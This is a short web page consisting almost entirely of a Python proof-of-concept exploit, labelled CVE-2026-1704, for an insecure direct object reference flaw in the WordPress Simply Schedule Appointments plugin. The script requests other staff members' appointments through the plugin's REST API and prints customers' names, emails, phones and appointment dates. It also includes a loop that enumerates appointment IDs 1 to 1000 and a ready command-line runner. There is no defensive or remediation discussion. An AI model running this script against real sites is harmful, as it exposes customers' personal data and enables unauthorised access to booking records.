WordPress Simply Schedule Appointments插件IDOR漏洞导致越权访问预约信息

import requests import sys # CVE-2026-1704 PoC - IDOR in Simply Schedule Appointments Plugin # Target: WordPress site with Simply Schedule Appointments plugin < 1.6.9.30 def exploit_idor(target_url, target_appointment_id, auth_cookie): """ Exploit IDOR vulnerability to access other staff members' appointments Args: target_url: Target WordPress site URL target_appointment_id: ID of appointment to access (can be any valid ID) auth_cookie: WordPress authentication cookie with ssa_manage_appointments capability """ # REST API endpoint for appointment retrieval endpoint = f"{target_url}/wp-json/ssa/v1/appointments/{target_appointment_id}" headers = { 'Cookie': auth_cookie, 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_REST_API_NONCE' # Obtain from page source } print(f"[*] Target: {endpoint}") print(f"[*] Requesting appointment ID: {target_appointment_id}") try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print("[+] SUCCESS! Retrieved appointment details:") print(f" Customer Name: {data.get('customer_name', 'N/A')}") print(f" Customer Email: {data.get('customer_email', 'N/A')}") print(f" Customer Phone: {data.get('customer_phone', 'N/A')}") print(f" Appointment Date: {data.get('start', 'N/A')}") return True elif response.status_code == 403: print("[-] Access denied - check permissions") else: print(f"[-] Unexpected response: {response.status_code}") except requests.RequestException as e: print(f"[-] Request failed: {e}") return False # Brute force appointment IDs to find records from other staff def enumerate_appointments(target_url, auth_cookie, start_id=1, end_id=1000): """ Enumerate appointment IDs to discover other staff members' appointments """ print(f"[*] Enumerating appointment IDs from {start_id} to {end_id}") for appt_id in range(start_id, end_id + 1): if exploit_idor(target_url, appt_id, auth_cookie): print(f"[!] Found accessible appointment ID: {appt_id}") if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2026-1704-poc.py <target_url> <appointment_id> <auth_cookie>") print("Example: python cve-2026-1704-poc.py https://example.com 123 'wordpress_logged_in_xxx='") sys.exit(1) target = sys.argv[1] appt_id = int(sys.argv[2]) cookie = sys.argv[3] exploit_idor(target, appt_id, cookie)